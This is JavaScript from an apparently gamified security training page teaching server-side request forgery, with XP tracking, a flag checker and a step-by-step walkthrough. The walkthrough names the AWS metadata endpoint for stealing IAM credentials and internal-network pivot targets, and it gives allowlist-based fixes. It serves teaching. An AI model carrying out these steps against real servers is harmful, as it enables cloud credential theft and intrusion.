l=document.getElementById('logo');if(l)l.style.opacity='1';},3000); } (function(){var _sf=showFin;var _done=false;showFin=function(){_sf.apply(this,arguments);if(!_done){_done=true;progressGuard.complete(CONFIG.operationNumber,{xp:S.xp,timeSpent:0,hintsUsed:0,score:100});try{var _t=JSON.parse(localStorage.getItem('cyberagent.totals')||'{}');_t.totalXP=(_t.totalXP||0)+S.xp;_t.operationsCompleted=(_t.operationsCompleted||0)+1;localStorage.setItem('cyberagent.totals',JSON.stringify(_t));}catch(e){}analyticsHooks.fire('op_complete',{op:CONFIG.operationNumber,xp:S.xp});}};})(); bootIntro(); function toggleLesson(id){ var b=document.getElementById(id);var t=document.getElementById('tog-'+id); if(b)b.classList.toggle('open');if(t)t.classList.toggle('open'); } // ── MATRIX RAIN ──────────────────────────────────────────────── (function(){ var cv=document.getElementById('rain');if(!cv)return; var ctx=cv.getContext('2d'); function resize(){cv.width=window.innerWidth;cv.height=window.innerHeight;} resize();window.addEventListener('resize',resize); var chars='SSRF fetch url 10.0 169'.split(''); var cols=Math.floor(window.innerWidth/16),drops=[]; for(var i=0;icv.height&&Math.random()>.975)drops[i]=0;drops[i]++; }); },55); })(); function toggleUTH(){var p=document.getElementById('uth-panel');var t=document.getElementById('uth-toggle');p.classList.toggle('open');t.classList.toggle('open');t.setAttribute('aria-expanded',p.classList.contains('open'));} function skipPhase(n){var nb=document.getElementById('ph'+n+'-next')||document.getElementById('p'+n+'-next');if(nb)nb.style.display='block';} const WALKTHROUGH={ p0:["SSRF: the server fetches any URL you supply using its own internal network access — bypassing all external firewall rules.","Internal resources are blocked from the internet but not from the server itself.","The AWS metadata endpoint at http://169.254.169.254/latest/meta-data/iam/ returns IAM credentials to any local process."], p1:["Type confirm — verify the API fetches external URLs using an attacker-controlled domain.","Type pivot — target internal ranges: http://192.168.1.1/admin","Type metadata — reach the AWS metadata endpoint and retrieve IAM credentials.","Type takeover — use the IAM credentials to access AWS services directly."], p2:["VULNERABLE: any endpoint accepting user-supplied URLs and fetching them server-side without validation.","SAFE: endpoints that only fetch from a pre-approved allowlist of external domains."], p3:["The correct fix is an allowlist — only permit fetching from defined approved external domains.","Block all internal IP ranges at the network level as defence-in-depth.","Never trust user-supplied URLs for server-side fetching without explicit validation."], }; const PREV_ON="In Operation Silent Parse, Shadow forced the XML parser to read internal server files via an XXE entity declaration. Configuration files and credentials exfiltrated to an out-of-band DNS listener. Nine nodes breached."; function showWalkthrough(phase){ var wId='wt-panel-p'+phase; if(document.getElementById(wId))return; var wt=typeof WALKTHROUGH!=='undefined'&&WALKTHROUGH['p'+phase]; if(!wt||!wt.length)return; var panel=document.createElement('div'); panel.id=wId;panel.className='wt-panel'; var steps=wt.map(function(s,i){return'
'+(i+1)+'
'+s+'
';}).join(''); panel.innerHTML='
📋 MENDAX — WALKTHROUGH
✕
Step-by-step solution. Study it, then retry the challenge yourself to earn partial XP.
'+steps+'
'; var hid='ph'+phase+'-hint'; var hint=document.getElementById(hid); if(!hint){hid='p'+phase+'-hint';hint=document.getElementById(hid);} if(hint&&hint.parentNode)hint.parentNode.insertBefore(panel,hint.nextSibling); } function dismissPrevOn(){ var num=(typeof CONFIG!=='undefined'&&CONFIG.operationNumber)||(typeof C!=='undefined'&&C.op)||0; localStorage.setItem('cyberagent.prevon.'+num,'1'); var card=document.getElementById('prevOnCard'); if(card)card.style.display='none'; } const CR_FLAG_HASH='1xb7tlp'; const CR_FLAG_XP=50; var CRState={flagSubmitted:false}; function crSubmitFlag(){ if(CRState.flagSubmitted)return; var inp=document.getElementById('cr-flag-input'); var msg=document.getElementById('cr-flag-msg'); if(!inp||!msg)return; var val=inp.value.trim(); var _h=function(s){var h=5381;for(var i=0;i>>0).toString(36);}; if(_h(val)===CR_FLAG_HASH){ CRState.flagSubmitted=true; msg.className='cr-flag-msg ok'; msg.textContent='✓ Flag accepted! +'+CR_FLAG_XP+' XP'; inp.disabled=true; document.getElementById('cr-flag-btn').disabled=true; if(typeof S!=='undefined'){S.xp=(S.xp||0)+CR_FLAG_XP;/*fbkflag*/try{if(window.haptic)haptic("win");if(window.toast)toast("Flag captured — +"+CR_FLAG_XP+" XP",null,"🚩");}catch(e){}if(typeof save==='function')save();if(typeof hud==='function')hud();if(typeof showXP==='function')setTimeout(function(){showXP(CR_FLAG_XP,'Flag confirmed. Cyber range complete.','🚩 ROOM COMPLETE');},300);} var t4=document.getElementById('cr-task-4');if(t4){t4.className='cr-task crt-done';var ti=t4.querySelector('.cr-task-ic');if(ti)ti.textContent='✓';} } else { msg.className='cr-flag-msg err'; msg.textContent='✗ Incorrect flag. Check your terminal output.'; } } (function(){setInterval(function(){ if(typeof S==='undefined')return; ['p0','p1','p2','p3'].forEach(function(ph,i){ if(S[ph]&&S[ph].done){ var t=document.getElementById('cr-task-'+i); if(t&&!t.className.includes('crt-done')){ t.className='cr-task crt-done'; var ti=t.querySelector('.cr-task-ic');if(ti)ti.textContent='✓'; var n=document.getElementById('cr-task-'+(i+1)); if(n&&n.className.includes('crt-locked')){n.className='cr-task crt-active';var ni=n.querySelector('.cr-task-ic');if(ni)ni.textContent='▶';} } } }); if(S.p1&&S.p1.done&&!CRState.flagSubmitted){ var fz=document.getElementById('cr-flag-zone');if(fz&&!fz.classList.contains('open'))fz.classList.add('open'); var t4=document.getElementById('cr-task-4');if(t4&&t4.className.includes('crt-locked')){t4.className='cr-task crt-active';var ti4=t4.querySelector('.cr-task-ic');if(ti4)ti4.textContent='▶';} } },1200);})(); (function(){setInterval(function(){if(typeof S==='undefined')return;for(var n=0;n<=4;n++){var pn=S['p'+n];if(!pn||typeof pn.att==='undefined'||pn.att<5)continue;var wId='wt-trigger-p'+n;if(document.getElementById(wId))continue;var hid='ph'+n+'-hint';var hint=document.getElementById(hid);if(!hint){hid='p'+n+'-hint';hint=document.getElementById(hid);}if(!hint)continue;var wrap=document.createElement('div');wrap.id=wId;wrap.style.cssText='margin:8px 0 0;display:flex;flex-direction:column;gap:6px';var wBtn=document.createElement('button');wBtn.className='skip-btn';wBtn.style.cssText='background:rgba(0,255,135,.06);border-color:rgba(0,255,135,.28);color:#00ff87;text-align:left';wBtn.textContent='\u{1F4CB} SHOW ME THE ANSWER \u2014 WALKTHROUGH';wBtn.onclick=(function(x){return function(){showWalkthrough(x);};})(n);var sBtn=document.createElement('button');sBtn.className='skip-btn';sBtn.textContent='SKIP PHASE \u2014 CONTINUE WITHOUT XP \u2192';sBtn.onclick=(function(x){return function(){skipPhase(x);};})(n);wrap.appendChild(wBtn);wrap.appendChild(sBtn);hint.parentNode.insertBefore(wrap,hint.nextSibling);}},1500);})(); (function(){setTimeout(function(){var b=document.getElementById('startBtn');if(b&&!b.classList.contains('show'))b.classList.add('show');},2500);})(); /* startBtn-safety */